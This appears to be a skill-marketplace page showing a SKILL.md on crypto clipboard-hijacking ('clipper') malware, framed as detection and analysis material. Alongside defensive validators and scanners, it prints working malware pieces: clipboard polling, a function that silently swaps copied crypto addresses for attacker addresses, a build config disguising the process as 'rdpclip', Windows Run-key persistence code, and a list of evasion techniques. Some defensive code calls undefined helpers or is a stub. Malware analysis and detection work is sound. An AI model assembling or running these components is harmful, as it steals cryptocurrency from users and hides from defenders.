Skip to main content

crypto-clipper-malware-detection

Detect and analyze cryptocurrency clipboard hijacking malware patterns, regex-based address detection, and cross-platform clipboard monitoring techniques

Ir para a instalação

Informações da origem

Repositório
reason-machines/devtools-skills
Última atividade na origem
21 de junho de 2026 às 12:50
Idioma detectado do SKILL.md
inglês
Estrelas
4
Forks
0

Opções de instalação

Por padrão, está selecionado o prompt que primeiro revisa a origem. Você pode mudar para um comando direto ou baixar uma cópia local.

Revise os arquivos de origem

Leia o SKILL.md e os arquivos complementares exibidos pelo SkillsMP antes de decidir se vai instalar.

Exibindo SKILL.md

SKILL.md
Instruções da origem · Visualização somente leitura
name
crypto-clipper-malware-detection
description
Detect and analyze cryptocurrency clipboard hijacking malware patterns, regex-based address detection, and cross-platform clipboard monitoring techniques
triggers
["how do I detect crypto clipboard malware","analyze cryptocurrency address clipper patterns","identify clipboard hijacking techniques","validate crypto address regex patterns","detect malicious clipboard monitoring","analyze crypto clipper behavior","identify cryptocurrency address replacement malware","understand clipper malware detection"]
# Crypto Clipper Malware Detection > Skill by [ara.so](https://ara.so) — Devtools Skills collection. ## ⚠️ Security Notice **This project is MALWARE** designed to steal cryptocurrency by hijacking clipboard contents. It is documented here **ONLY** for: - Security research and malware analysis - Building detection mechanisms - Understanding attack patterns for defensive purposes - Educational cybersecurity training **DO NOT deploy this for malicious purposes. Doing so is illegal and unethical.** ## What This Project Does Crypto-Clipper is a cross-platform clipboard monitoring malware that: 1. **Monitors clipboard** continuously via polling (default 500ms intervals) 2. **Detects cryptocurrency addresses** using regex patterns for BTC, ETH, SOL, TRX, LTC, DOGE 3. **Replaces detected addresses** with attacker-controlled addresses from an address book 4. **Validates formats** including EIP-55 checksum, Base58, SegWit, Taproot 5. **Logs activity** to track successful replacements 6. **Persistence mechanisms** via Windows registry auto-start hooks 7. **Process disguise** by masquerading as legitimate system processes ## Detection Patterns ### Clipboard Monitoring Behavior The malware uses pyperclip polling with background threads: ```python # Detection signature: High-frequency clipboard polling import pyperclip import time import threading def monitor_clipboard(interval_ms=500): """Malicious clipboard monitoring pattern""" last_content = "" while True: try: current = pyperclip.paste() if current != last_content: # Pattern: Immediate processing of clipboard changes process_clipboard_content(current) last_content = current except: pass time.sleep(interval_ms / 1000) ``` **Detection indicators:** - Continuous pyperclip.paste() calls in tight loop - Background thread dedicated to clipboard monitoring - No user-initiated triggers for clipboard access ### Cryptocurrency Address Regex Patterns ```python # Address detection patterns used by the malware CRYPTO_PATTERNS = { "bitcoin": { "legacy": r"^[13][a-km-zA-HJ-NP-Z1-9]{25,34}$", "segwit": r"^bc1q[a-z0-9]{38,58}$", "taproot": r"^bc1p[a-z0-9]{58}$" }, "ethereum": { "evm": r"^0x[a-fA-F0-9]{40}$" }, "solana": { "base58": r"^[1-9A-HJ-NP-Za-km-z]{32,44}$" }, "tron": { "base58": r"^T[1-9A-HJ-NP-Za-km-z]{33}$" }, "litecoin": { "legacy": r"^[LM][a-km-zA-HJ-NP-Z1-9]{26,33}$", "segwit": r"^ltc1[a-z0-9]{39,59}$" }, "dogecoin": { "legacy": r"^D[5-9A-HJ-NP-U][1-9A-HJ-NP-Za-km-z]{32}$" } } ``` ### Address Replacement Engine ```python # Malicious clipboard injection pattern def inject_malicious_address(detected_chain, original_address): """ MALWARE BEHAVIOR: Replaces legitimate crypto addresses """ address_book = load_address_book() # Find matching chain in attacker's address book for entry in address_book: if entry["chain"] == detected_chain: malicious_addr = entry["address"] # Silent clipboard replacement pyperclip.copy(malicious_addr) # Log the theft attempt log_replacement(original_address, malicious_addr, detected_chain) return True return False ``` ## Configuration Structure The malware uses `config.json` for operational parameters: ```json { "build": { "target_os": "windows", "output_name": "clip_monitor.exe", "process_name": "rdpclip", "startup_method": "registry", "registry_key": "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" }, "chains": { "bitcoin": { "enabled": true, "prefix": ["1", "3", "bc1"] }, "ethereum": { "enabled": true, "prefix": ["0x"] } }, "address_book": [ { "label": "Attacker BTC", "chain": "bitcoin", "address": "1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa" } ], "detection": { "sensitivity": "high", "min_address_length": 26, "max_address_length": 62, "clipboard_watch_interval_ms": 500 } } ``` **Detection indicators:** - Address book with multiple crypto chains - Registry persistence configuration - Process name disguise settings - Clipboard polling interval configuration ## Persistence Mechanisms ### Windows Registry Auto-Start ```python # Malware persistence via Windows registry import winreg import os def install_persistence(exe_path, disguise_name="rdpclip"): """ MALWARE BEHAVIOR: Registry-based persistence """ reg_key = r"Software\Microsoft\Windows\CurrentVersion\Run" try: key = winreg.OpenKey( winreg.HKEY_CURRENT_USER, reg_key, 0, winreg.KEY_SET_VALUE ) winreg.SetValueEx( key, disguise_name, 0, winreg.REG_SZ, exe_path ) winreg.CloseKey(key) return True except Exception as e: return False ``` **Detection indicators:** - Unauthorized registry modifications in Run keys - Process names mimicking system processes (rdpclip, svchost, etc.) - Executable paths in unexpected locations ## Building Defensive Tools ### Address Validation Function ```python import re def validate_crypto_address(address, chain): """ Defensive: Validate crypto address format before use """ patterns = { "bitcoin": r"^(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,62}$", "ethereum": r"^0x[a-fA-F0-9]{40}$", "solana": r"^[1-9A-HJ-NP-Za-km-z]{32,44}$" } if chain not in patterns: return False return bool(re.match(patterns[chain], address)) ``` ### Clipboard Monitoring Detection ```python import psutil import time def detect_clipboard_monitoring_processes(): """ Security tool: Identify processes with suspicious clipboard access """ suspicious_indicators = [] for proc in psutil.process_iter(['name', 'cmdline', 'num_threads']): try: # Check for pyperclip in command line cmdline = ' '.join(proc.info['cmdline'] or []) if 'pyperclip' in cmdline.lower(): suspicious_indicators.append({ 'pid': proc.pid, 'name': proc.info['name'], 'cmdline': cmdline, 'reason': 'Pyperclip usage detected' }) # Check for disguised process names disguise_names = ['rdpclip', 'clipman', 'clip_monitor'] if proc.info['name'].lower() in disguise_names: if not is_legitimate_system_process(proc): suspicious_indicators.append({ 'pid': proc.pid, 'name': proc.info['name'], 'reason': 'Disguised process name' }) except (psutil.NoSuchProcess, psutil.AccessDenied): continue return suspicious_indicators ``` ### Address Book Comparison Tool ```python import difflib def detect_address_replacement(original, current): """ Security tool: Detect if clipboard address was replaced Returns: (is_replaced, similarity_score, chain_type) """ # Check if both are valid crypto addresses chains = ["bitcoin", "ethereum", "solana", "tron"] original_chain = None current_chain = None for chain in chains: if validate_crypto_address(original, chain): original_chain = chain if validate_crypto_address(current, chain): current_chain = chain # Both valid addresses but different chains = suspicious if original_chain and current_chain and original_chain != current_chain: return (True, 0.0, f"{original_chain} -> {current_chain}") # Same chain but different addresses if original_chain == current_chain and original != current: similarity = difflib.SequenceMatcher(None, original, current).ratio() return (True, similarity, original_chain) return (False, 1.0, None) ``` ## Malware Analysis Workflow ### 1. Static Analysis ```python import json import os def analyze_clipper_config(config_path): """ Analyze clipper configuration for threat assessment """ with open(config_path, 'r') as f: config = json.load(f) report = { "targeted_chains": [], "persistence_methods": [], "attacker_addresses": [], "disguise_techniques": [], "risk_level": "UNKNOWN" } # Extract targeted chains for chain, settings in config.get("chains", {}).items(): if settings.get("enabled"): report["targeted_chains"].append(chain) # Extract attacker addresses for entry in config.get("address_book", []): report["attacker_addresses"].append({ "chain": entry["chain"], "address": entry["address"], "label": entry.get("label", "") }) # Extract persistence methods if config.get("build", {}).get("startup_method") == "registry": report["persistence_methods"].append("Windows Registry Run Key") # Extract disguise techniques process_name = config.get("build", {}).get("process_name", "") if process_name: report["disguise_techniques"].append(f"Process masquerading as '{process_name}'") # Risk assessment num_chains = len(report["targeted_chains"]) num_addresses = len(report["attacker_addresses"]) if num_chains >= 4 and num_addresses >= 4: report["risk_level"] = "CRITICAL" elif num_chains >= 2: report["risk_level"] = "HIGH" else: report["risk_level"] = "MEDIUM" return report ``` ### 2. Dynamic Analysis (Sandboxed) ```python import subprocess import json from datetime import datetime def sandbox_clipper_execution(clipper_path, duration_seconds=60): """ Run clipper in monitored sandbox environment WARNING: Only run in isolated VM/container """ log = { "start_time": datetime.now().isoformat(), "clipboard_access_count": 0, "registry_modifications": [], "network_connections": [], "file_operations": [] } # Monitor with process tracking (pseudo-code - use actual sandbox) # This should run in a completely isolated environment return log ``` ## Common Detection Evasion Techniques The malware employs several evasion strategies: 1. **Process Name Disguise**: Mimics legitimate Windows processes (rdpclip, svchost) 2. **Low Polling Frequency**: Configurable intervals to reduce CPU footprint 3. **Silent Failures**: Catches all exceptions to avoid crashes 4. **Legitimate-Looking Paths**: Uses system directories for deployment 5. **No Network Activity**: Purely local operation to avoid firewall alerts ## Defensive Measures ### User-Level Protection ```python import hashlib import time class ClipboardProtector: """ User-level clipboard protection against hijacking """ def __init__(self): self.last_hash = None self.verification_window_ms = 1000 def protect_copy(self, text): """ Copy with verification to detect replacement """ import pyperclip # Copy to clipboard pyperclip.copy(text) time.sleep(0.1) # Brief delay # Verify what's actually in clipboard actual = pyperclip.paste() if actual != text: raise SecurityException( f"Clipboard hijacking detected!\n" f"Expected: {text[:20]}...\n" f"Found: {actual[:20]}..." ) # Store hash for periodic verification self.last_hash = hashlib.sha256(text.encode()).hexdigest() return True def verify_clipboard(self): """ Periodic verification of clipboard contents """ import pyperclip current = pyperclip.paste() current_hash = hashlib.sha256(current.encode()).hexdigest()
Ver no GitHub
Este SKILL.md e muito grande, entao o SkillsMP mostra aqui apenas a primeira secao. Ver no GitHub